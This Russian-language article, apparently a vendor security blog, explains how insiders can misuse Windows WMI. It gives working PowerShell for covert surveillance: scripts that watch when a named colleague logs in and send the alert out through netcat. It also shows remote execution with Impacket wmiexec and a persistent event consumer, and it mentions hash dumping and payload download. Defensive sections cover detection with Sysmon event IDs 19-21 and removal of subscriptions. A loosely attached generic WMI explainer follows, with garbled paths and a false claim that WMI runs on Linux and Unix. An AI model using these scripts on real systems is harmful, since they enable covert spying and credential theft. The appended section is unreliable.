Инструментарий управления Windows (WMI) — это подсистема PowerShell, которая обеспечивает администраторам доступ к мощным инструментам системного мониторинга. Этот инструментарий задумывался как быстрое и эффективное средство системного администрирования, однако далеко не все используют его с благими целями: с его помощью злоумышленники-инсайдеры могут шпионить за другими сотрудниками. Знание этой уязвимости WMI ощутимым образом упрощает обнаружение внутренних угроз и борьбу с ними.
В этой статье мы рассмотрим, что такое инструментарий WMI, для чего он нужен и как его можно использовать для отслеживания инсайдерской деятельности в системе. Мы также составили более подробное руководство, посвященное событиям WMI и инсайдерскому шпионажу, которое вы можете скачать бесплатно.
Краткий обзор: что такое WMI и для чего он нужен?
Приведем конкретный пример. С помощью WMI вы можете запросить, например, все большие файлы Excel, находящиеся в том или ином каталоге, а затем получать уведомление каждый раз при создании файла с заданным размером, например 1 Мб. Командлет Register-WmiEvent позволяет сделать все это с помощью одной не слишком сложной строки в PowerShell.
В хороших руках WMI может послужить многим благим целям, но точно так же он может стать инструментом вредоносной инсайдерской деятельности. Можно легко представить, как некий сотрудник с повадками Эдварда Сноудена использует WMI, чтобы шпионить за своими коллегами. Для этого ему даже не понадобятся особые технические знания.
Предположим, наш гипотетический инсайдер «случайно» подсмотрел, что его коллега Лекс периодически скачивает большие файлы Excel, содержащие номера социального страхования и другие личные данные клиентов. В этом случае наш незаметный инсайдер может соорудить нечто подобное:
Register-WmiEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance isa 'CIM_DataFile' and TargetInstance.FileSize > 2000000 and TargetInstance.Path = '\\Users\\lex\\Important' and targetInstance.Drive = 'C:’ and targetInstance.Extension =’xlsx’” -Action $action
Этот код запрашивает объект CIM_DataFile для получения доступа к информации о создании файла Excel в указанном каталоге, а затем запускает выполнение блока сценария. Ближе к концу этой статьи мы рассмотрим подробнее, как может выглядеть этот блок сценария в случае с нашим гипотетическим инсайдером.
Для чего используется инструментарий управления Windows
Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:
- для сбора информации о статусе локальных и удаленных компьютерных систем
- настройки параметров безопасности для удаленных компьютеров и приложений
- настройки и редактирования свойств системы
- настройки и редактирования разрешений для авторизованных пользователей и групп
- выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
- назначения и редактирования меток дисков
- создания графика выполнения процессов
- резервного копирования репозиториев объектов
- включения и отключения регистрации ошибок
Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.
Архитектура инструментария управления Windows
Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:
- Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
- Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
- Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
- Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
- Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
- Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
- Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
- API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
- Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.
Выполнение запросов WMI
Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:
- Откройте командную строку
- Введите WMIC для вызова программы и нажмите клавишу Enter
- Появится окно командной строки WMIC
- В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:
WMIC CPU
- Результаты будут отображены в командной строке
Практически все команды, которые будут рассмотрены ниже, выполняются таким образом. Однако WMI позволяет получать гораздо более подробную информацию, чем сведения о процессоре, и в том числе от удаленных компьютеров и приложений.
Практикум по использованию событий WMI для наблюдения за системой
В этом разделе мы рассмотрим, как с помощью WMI выполнять команды и отслеживать процессы на удаленных компьютерах. Подобные приемы можно использовать в составе системы анализа поведения пользователей и сущностей (UEBA) для автоматического мониторинга процессов во всей системе и проверки на инсайдерские угрозы, о которых свидетельствуют подозрительное поведение или аномальные события.
Использование функциональности wmiexec из Impacket
В WMI можно выполнять разные функции, помимо управления событиями. В нем можно запускать процессы и выполнять команды в окнах Windows как на локальных, так и на удаленных компьютерах. Ради интереса попробуйте ввести команду wmic process call create ‘notepad.exe’ в сеансе PowerShell, чтобы открыть старый текстовый редактор Microsoft. При этом используется замечательный инструмент командной строки wmic, входящий в состав WMI. Здорово, правда?
Если бы я добавил параметр /Node:, а затем имя удаленного компьютера Windows, то смог бы запустить Блокнот на нем, при условии что у меня есть соответствующие разрешения. Совершенно ясно, что на практическом уровне wmic является незаменимым помощником для системных администраторов.
Прежде чем вы начнете возмущаться: я знаю, что существуют эквивалентные командлеты PowerShell. Однако я считаю, что синтаксис wmic легче запомнить.
Было бы здорово, если бы я мог с помощью WMI создать простую и незаметную псевдооболочку.
Скрытая псевдооболочка, созданная с помощью wmiexec
К моему везению, это можно сделать в Impacket. В тестовой среде Amazon я использовал свой любимый wmiexec для доступа к WMI через виртуальную машину Linux. В wmiexec предусмотрена возможность создания псевдооболочки: каждый раз, когда на стороне клиента вводится команда, на целевом компьютере создается отдельная оболочка для выполнения этой команды.
И в psexec, и в smbexec для запуска команд в удаленной системе используются службы Windows. Работа smbexec протекает незаметнее, так как он быстро создает, а затем удаляет службу, а psexec, наоборот, оставляет ее на виду.
Инструмент wmiexec напрямую запускает cmd.exe для удаленного выполнения команды. Созданную команду можно найти в средстве просмотра событий. Обратите внимание, что мы избежали привлекающих внимание служб Windows
Инструмент wmiexec абсолютно не затрагивает службы, вместо этого используя описанные выше возможности WMI для непосредственного запуска процесса. При поиске возможных источников угроз специалисты по безопасности редко начинают с WMI, в то время как службы обычно являются хорошим местом для начала поиска улик, указывающих на атаку. Хороший ход, wmiexec!
Использование событий WMI для наблюдения за пользователями
Пока я тешил себя мыслью, что я один такой умный и занимаюсь экспериментами с WMI, оказалось, что ребята, занимающиеся тестами на проникновение, уже давно поняли, как все работает. Вам обязательно нужно прочитать потрясающую презентацию Мэтта Грэбера (Matt Graeber) с конференции Black Hat 2015 года, где он рассказывает, как злоумышленники могут превратить WMI и весь его арсенал для работы с событиями в инструмент для взломов.
В моей истории я представляю себе инсайдера а-ля Сноуден, который обладает некоторыми техническими знаниями, но не глубокой хакерской мудростью, и которому доверяют другие сотрудники. Этому человеку не нужно знать все про WMI. Ему нужно знать только то, что требуется для работы на удаленном компьютере и инициирования событий.
Помимо файловых объектов, есть еще один интересный класс объектов, который можно изучить с помощью WMI, — win32_LogOnSession. Запрос этого базового объекта Windows позволяет найти пользователей, которые в данный момент находятся в системе. Затем можно использовать блок сценария действий Register-WmiEvent для запуска сценария PowerShell при удаленном входе нового пользователя в систему. Уловили суть? Злоумышленник может получать уведомления каждый раз, когда пользователь, за которым он следит, входит в целевую систему.
Вот что я набросал:
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" –Action $action
Следующий вопрос — как запрограммировать выполнение блока сценария. Загадочного инсайдера из моих фантазий интересует конкретный пользователь — Круэлла. Наш злодей потихоньку шпионил за Круэллой и теперь планирует использовать собранную информацию, чтобы взломать ее рабочую учетную запись.
Задача блока сценария — проверить, кто вошел в систему, и определить, была ли это Круэлла. Я написал несколько строк кода PowerShell для этой цели, но это явно не самый лучший способ. Я никак не использую информацию о событии, передаваемую в блок сценария, а именно сведения о новом пользователе. Я наталкиваюсь на препятствия, причины которых я не могу понять в данный момент. Для этого нужно больше технических знаний, чем наш гипотетический инсайдер имеет или готов приобрести.
Вместо этого я просто перебрал список пользователей, возвращаемых gwmi Win32_Process (попробуйте запустить этот командлет в сеансе PowerShell), и сопоставил их с параметром «Круэлла». Можете полюбоваться на мое финальное решение:
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {
$names=gwmi Win32_Process|% { $_.GetOwner().User}
foreach ($user in $names){
if ($user -eq "cruella") {
echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80
}
}
}
Register-WmiEvent позволяет сохранять скрытность, поскольку он запускается только при новом входе в систему, вместо того чтобы регулярно запрашивать объект Win32_Process, что может быть довольно заметным.
Помните, что наш инсайдер старается не привлекать к себе внимания. У нее есть доступ к удаленной системе через psexec, smbexec или wmiexec (самый незаметный способ). Однако ей не нужно постоянно бродить туда-сюда по системе жертвы.
В этом и прелесть использования событий WMI. Вы можете дождаться уведомления от Register-WmiEvent, а затем спокойно сделать свой ход.
Интеграция Netcat и WMI
Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?
Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.
Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.
Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.
Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события
Устранение недочетов в механизме наблюдения WMI
В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.
Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80}}}
Когда я начал работать над этим, я понял, что должен «преобразовать» специальные символы, такие как $, “ и |, и передавать их как литералы непосредственно в PowerShell. Еще одна головная боль: мне в итоге пришлось отказаться от использования вертикальных линий, поскольку они вызывали ошибки анализа. Не спрашивайте. Постепенно я пришел к этой длинной строке кода:
$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.\wmiexec C:\Users\lex\Documents\nc.exe 172.31.18.92 80 }}}
.\wmiexec.exe corp.acme/lex@172.31.46.115 "$command"
Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.
Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно
Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.
Почему при наблюдении нужно использовать постоянные события?
Правильный и одновременно требующий более глубоких знаний способ заключается в использовании постоянных событий WMI. Постоянные события WMI, хотя и представляют некоторую сложность, не только являются более эффективным инструментом для шпионов-инсайдеров, чем временные события, но и позволяют гораздо эффективнее отслеживать внутренние угрозы.
Изучение постоянных событий потребует некоторого времени, но они представляют наиболее эффективный способ реализации строгой системы мониторинга для больших систем. Они обладают более широкими возможностями, чем временные события WMI. Их также можно использовать для оповещения о нестандартной вредоносной активности, такой как DNS-туннелирование или нарушение политик Zero Trust.
Я посвятил изучению постоянных событий пару дней и обнаружил, что в PowerShell есть специальный командлет, который упрощает процесс создания фильтра событий, потребителя и объектов WMI между фильтром и потребителем. Как мы все знаем, PowerShell предоставляет администраторам широкие возможности для упрощения работы. К сожалению, данный пример показывает, как этими прекрасными возможностями могут воспользоваться злоумышленники.
Инсайдер создает постоянное событие на целевой системе, тем самым освобождая себя от необходимости присутствовать в сеансе оболочки. Событие остается там навсегда или до тех пор, пока не будет удалено явным образом. Подробнее о том, как это сделать, можно прочитать здесь , но в целом процесс похож на то, что я сделал выше с временным событием. Последнее, что потребуется от нашего хакера, — связать фильтр события с потребителем события.
Соглашусь, что для обычного сотрудника, который вдруг решил стать злобным хакером, это выглядит слишком круто. Ради интереса я почитал разные форумы и увидел, что многие люди безуспешно бьются над тем, чтобы заставить постоянные события WMI работать. Однако это вовсе не выходит за рамки возможностей нашего «Сноудена» и других сообразительных системных администраторов, которые решили перейти на темную сторону.
Постоянные события: советы для ИТ-администраторов
Эти методы не предназначены для обучения потенциальных хакеров или обиженных сотрудников, которые хотят отомстить работодателю. Все, чего я хочу, — это помочь ИТ-специалистам понять образ мысли хакера, чтобы они могли внедрить соответствующую защиту от атак на проникновение. Для них я показываю, как настроить фильтр и объекты потребителя с помощью командлета Set-WmiInstance:
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/cimv2'
Name = “cruella”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL'
}
$command = "powershell.exe -Command {$names = gwmi Win32_Process; $users=@(); foreach ($n in $names) {$users += $n.GetOwner().User}; foreach ($u in $users) {if ($u -eq 'cruella') { C:\users\lex\Documents\nc.exe 172.31.45.240 10000}}}"
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = "Consumer"
CommandLineTemplate = $Command
}
Ваше домашнее задание — придумать код PowerShell, который свяжет эти два компонента воедино.
В ходе моих собственных тестов я смог заставить постоянное событие работать на целевой системе без чрезмерных усилий и страданий. Как вы помните, этого было весьма сложно добиться с временными событиями WMI, которые длятся ровно столько, сколько и сеанс PowerShell.
Настроив постоянное событие WMI, чтобы, например, следить за входом пользователей в систему, инсайдер или хакер не обязан оставаться в целевой системе. Дополнительным бонусом является то, что постоянное событие WMI является устойчивым: при перезагрузке компьютера триггеры событий по-прежнему действуют. Это делает постоянные события WMI мощным и скрытным способом инициировать атаку, которая может включать гораздо больше, чем просто мониторинг. Как вы помните, события WMI — далеко не самое первое место, где специалисты по безопасности будут искать источник атаки.
Например, код PowerShell для потребителя события может выступать как средство запуска и скачивать вредоносное ПО, хранящееся на удаленном сервере, с помощью DownloadString. Великолепная презентация Мэтта Грэбера на конференции Black Hat содержит много информации о вредоносном потенциале постоянных событий WMI.
Если вы специалист по безопасности, то как вы будете работать с событиями WMI с точки зрения их потенциального вредоносного использования?
Удача на вашей стороне: с помощью командлета Get-WmiObject (псевдоним gwmi) можно создать список фильтров событий, потребителей и связывающих объектов:
Вы перечисляете постоянные события WMI с помощью Get-WMIObject и устанавливаете соответствующие параметры. Обратите внимание на отсутствие отметки о времени создания.
Теперь, если фильтр (или потребитель) постоянного события покажется им подозрительным, ИТ-специалисты могут отключить его путем удаления с помощью конвейера PowerShell и командлета WMI-RemoveObject:
Удаление постоянных событий WMI включает использование конвейера PowerShell
Обратите внимание, что здесь не указано ни время создания события, ни имя злонамеренного пользователя. Для получения этой криминалистической информации потребуется обратиться к журналам событий Windows. Подробнее об этом ниже.
Можно ли отключить постоянные события WMI?
По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.
Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.
Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.
Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM
В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.
Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.
Sysmon — удобная и понятная утилита для регистрации событий от Microsoft
Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.
Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?
На GitHub есть небольшой проект, где вы найдете код для настройки этой операции. Вот фрагмент кода для фильтра событий WMI, который позволяет отслеживать создание… да-да, фильтра событий WMI:
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'
QueryLanguage = 'WQL'
}
Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.
Часто задаваемые вопросы об инструментарии управления Windows
Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.
WMI объявлен устаревшим?
Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.
Какие порты использует WMI?
WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.
WMI использует WimRM?
Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.
Заключение
Как мы увидели, WMI предоставляет администраторам мощный инструмент для мониторинга удаленных процессов и компьютеров и может использоваться при разработке соглашений о мониторинге конечных пользователей (EUMA) для автоматического оповещения о подозрительной активности. Это делает его отличным инструментом для обнаружения и устранения внутренних угроз, предотвращения попыток обойти политики безопасности, а также наблюдения за тем, как используются ваши системы.
Если вы хотите узнать больше о том, как использовать WMI для наблюдения за инсайдерской деятельностью, вы можете скачать наше подробное руководство здесь.
Служба Windows Management Instrumentation (WMI) является одной из ключевых компонентов операционной системы Windows. Она предоставляет разработчикам и администраторам возможность управлять и мониторить различные аспекты компьютерной системы, включая аппаратное обеспечение, операционную систему и программное обеспечение.
WMI представляет собой стандартизированный интерфейс, который позволяет приложениям взаимодействовать с различными компонентами операционной системы Windows. Она использует язык запросов WQL (WMI Query Language) для получения информации о системе и выполнения различных операций.
Одной из особенностей WMI является возможность получения информации о системе в реальном времени. С помощью WMI можно получить данные о процессоре, памяти, жёстком диске, сетевых адаптерах и других аппаратных компонентах компьютера, а также о программном обеспечении, установленном на компьютере.
Используя службу WMI, администраторы и разработчики могут автоматизировать множество задач, связанных с управлением и контролем компьютерной системы. Например, с помощью WMI можно удаленно запустить или остановить процесс, создать новую задачу планировщика, выполнить инвентаризацию программного обеспечения на компьютерах в сети и многое другое.
Содержание
- Особенности службы WMI
- Как работает служба WMI?
- Принципы работы службы WMI
Особенности службы WMI
Служба WMI (Windows Management Instrumentation) предоставляет мощный набор инструментов и возможностей для управления и мониторинга Windows-систем. Ее особенности включают следующее:
1. Кросс-платформенность: Служба WMI доступна на различных операционных системах, включая все версии Windows, а также Linux и Unix. Это делает ее универсальным инструментом для работы с системными ресурсами и данными на разных платформах.
2. Поддержка стандартов: WMI полностью совместима с открытыми стандартами управления системами, такими как Common Information Model (CIM) и Web-Based Enterprise Management (WBEM). Это обеспечивает совместимость и интеграцию с другими инструментами управления и мониторинга.
3. Расширяемость: Служба WMI позволяет расширять функциональность с помощью создания пользовательских классов и объектов. Это позволяет адаптировать WMI для конкретных потребностей и задач системного администрирования.
4. Удобный доступ к данным: WMI предоставляет программный интерфейс (API) для работы с данными и ресурсами системы. Он позволяет получать информацию о состоянии системы, настраивать параметры и выполнять действия через стандартные запросы, используя SQL-подобный язык запросов (WQL).
5. Система событий: WMI поддерживает событийную модель, которая позволяет отслеживать изменения в системе и реагировать на них. Это позволяет создавать автоматизированные скрипты и задачи, которые выполняются при определенных событиях, таких как изменение состояния процесса или запуск нового приложения.
6. Широкий спектр функциональности: WMI может использоваться для управления различными аспектами системы, включая службы, процессы, файловые системы, сетевые настройки, аппаратное обеспечение и др. Это позволяет выполнять широкий спектр задач, связанных с администрированием и мониторингом системы.
Служба WMI представляет собой мощный инструмент для управления и мониторинга систем Windows и обладает множеством полезных особенностей, которые делают ее неотъемлемой частью системного администрирования.
Как работает служба WMI?
Служба WMI (Windows Management Instrumentation) предоставляет инструменты для управления и мониторинга компьютерных систем и приложений в операционных системах Windows. Она позволяет получать информацию о текущем состоянии системы, настраивать ее параметры и выполнять различные операции управления.
Основной принцип работы службы WMI заключается в использовании объектной модели WMI, которая представляет компьютерные ресурсы и данные в виде объектов и классов. Каждый класс содержит свойства (атрибуты) и методы, с помощью которых можно получать и изменять информацию о ресурсах системы.
Для работы с WMI можно использовать различные инструменты, такие как PowerShell, WMI-скрипты, WMI-консоль. Они позволяют выполнять запросы к WMI-серверу, получать информацию о доступных классах и объектах, получать значения свойств, вызывать методы и т.д.
Служба WMI является важной частью операционной системы Windows и используется различными приложениями и сервисами для управления системой. Она предоставляет удобный интерфейс для мониторинга и управления различными аспектами системы, что позволяет администраторам и разработчикам эффективно работать с компьютерной инфраструктурой.
Принципы работы службы WMI
Принцип работы WMI основан на использовании объектно-ориентированной модели, где каждый компонент системы представлен в виде объекта. Эти объекты предоставляют информацию о различных аспектах компьютера, таких как процессоры, оперативная память, дисковые накопители, сетевые адаптеры и другие компоненты.
Служба WMI предоставляет интерфейс для работы с этими объектами, что позволяет разработчикам и системным администраторам получать доступ к информации о состоянии и управлять ресурсами компьютера.
Взаимодействие с WMI осуществляется посредством запросов, которые передаются через интерфейс WMI. Запросы могут быть выполнены с помощью различных языков программирования, таких как C#, PowerShell, VBScript и др.
Служба WMI также поддерживает событийную модель, позволяющую получать уведомления о различных событиях, происходящих в системе. Например, можно получать уведомления о запуске и остановке процессов, изменении конфигурации системы, обнаружении ошибок и др.
Для более удобной работы с WMI разработан специальный язык запросов WQL (WMI Query Language). Он позволяет выражать запросы на выборку, фильтрацию и сортировку данных, а также на создание, изменение и удаление объектов.
В целом, принципы работы службы WMI сводятся к предоставлению универсального интерфейса для управления и мониторинга ресурсов компьютера, а также возможности получения уведомлений о различных событиях, происходящих в системе. Это делает WMI неотъемлемой частью системы управления и мониторинга в среде Windows.
Особенности работы службы WMI |
---|
Предоставляет доступ к информации о ресурсах компьютера |
Основана на объектно-ориентированной модели |
Позволяет выполнять запросы и получать уведомления о событиях |
Поддерживает использование языка запросов WQL |
Только пользователи локальной группы «Администраторы» имеют право запускать WMIC.
В основе структуры данных в WBEM лежит Common Information Model (CIM), реализующая объектно-ориентированный подход к представлению компонентов системы. CIM является расширяемой моделью, что позволяет программам, системам и драйверам добавлять в неё свои классы, объекты, методы и свойства.
Важной особенностью WMI является то, что хранящиеся в нём объекты соответствуют динамическим ресурсам, то есть параметры этих ресурсов постоянно меняются, поэтому параметры таких объектов не хранятся постоянно, а создаются по запросу потребителя данных. Хранилище свойств объектов WMI называется репозиторием и расположено в системной папке операционной системы Windows:
%SystemRoot%WindowsSystem32wbemRepository
Так как WMI построен по объектно-ориентированному принципу, то все данные операционной системы представлены в виде объектов и их свойств и методов.
Все классы группируются в пространства имен, которые иерархически упорядочены и логически связаны друг с другом по определенной технологии или области управления. В WMI имеется одно корневое пространство имен Root, которое в свою очередь имеет 4 подпространства: CIMv2, Default, Security и WMI.
Классы имеют свойства и методы и находятся в иерархической зависимости друг от друга, то есть классы-потомки могут наследовать или переопределять свойства классов-родителей, а также добавлять свои свойства.
Свойства классов используются для однозначной идентификации экземпляра класса и для описания состояния используемого ресурса. Обычно все свойства классов доступны только для чтения, хотя некоторые из них можно модифицировать определенным методом. Методы классов позволяют выполнить действия над управляемым ресурсом.
Каждому экземпляру класса можно обратиться по полному пути, который имеет следующую структуру:
[\ComputerNameNameSpace][:ClassName][.KeyProperty1=Value1][,KeyProperty2=Value2]…]
где
ComputerName – имя компьютера
NameSpace – название пространства имен
ClassName – имя класса
KeyProperty1=Value1, KeyProperty2=Value2 – свойства объекта и значения, по
которому он идентифицируется.
Пример обращения к процессу с именем «Calc.exe», который запущен на локальной машине:
\.CIMv2:Win32_Process.Name=»Calc.exe»
Экземпляры классов могут генерировать события, к которым можно подписываться. При наступлении события WMI автоматически создает экземпляр того класса, которому соответствует это событие. Такой механизм удобно использовать для выполнения определенной команды при наступлении определенного события, то есть следить за состоянием объектов операционной системы.
Общая безопасность в WMI реализуется на уровне операционной системы, а дополнительная политика безопасности основана на уровнях пространств имен и протокола DCOM. То есть если пользователь не имеет права делать какое-то действие через операционную систему, он не сможет это сделать и через WMI. Если же пользователю дано какое-то право в операционной системе, то это ещё не означает, что это право будет и в WMI, так как в WMI действуют дополнительные параметры безопасности на уровне пространств имен.
Для вызова удаленных процедур WMI использует модель DCOM. В случае если возникает ошибка «Dcom Access Denied» то действия будут следующими: меня «Выполнить»->»dcomcnfg»->»Службы компонентов(Component Services)->Компьютеры->Мой компьютер->Свойства(правая кнопка мыши)->вкладка Безопасность COM Уровни олицетворения могут принимать следующие значения:
Anonymous | Анонимный | WMI-объект не может получить информацию о пользователе — доступ по такому типу не предоставляется |
Identify | Идентификация | WMI-объект запрашивает маркер доступа пользователя — доступ предоставляется только локально |
Impersonate | Олицетворение | WMI-объект имеет такие же права, какие имеет пользователь — рекомендуемый уровень для выполнения команд на удаленном компьютере |
Delegate | Делегирование | WMI-объект может обратиться от имени пользователя к другому WMI-объекту — нерекомендуемый уровень, так как команды можно выполнять удаленно через цепочку из нескольких компьютеров |
Уровни аутентификации (подлинности) могут принимать следующие значения:
None | Отсутствует | Проверка подлинности отсутствует |
Default | По умолчанию | Стандартные настройки безопасности, которые задаются компьютером-целью команды |
Connect | Подключение | Проверка только во время подключения к компьютеру-цели команды, проверка в ходе работы отсутствует |
Call | Вызов | Проверка подлинности при каждом запросе к компьютеру-цели команды, заголовки пакетов подписываются, но содержимое не шифруется |
Pkt | Пакет | Проверка подлинности всех пакетов к компьютеру-цели команды, заголовки пакетов подписываются, но содержимое не шифруется |
PktIntegrity | Целостность пакета | Проверка подлинности и целостности всех пакетов к компьютеру-цели команды, заголовки пакетов подписываются, но содержимое не шифруется |
PktPrivacy | Секретность пакета | Проверка подлинности и целостности всех пакетов к компьютеру-цели команды, заголовки и содержимое пакетов подписываются и шифруются |
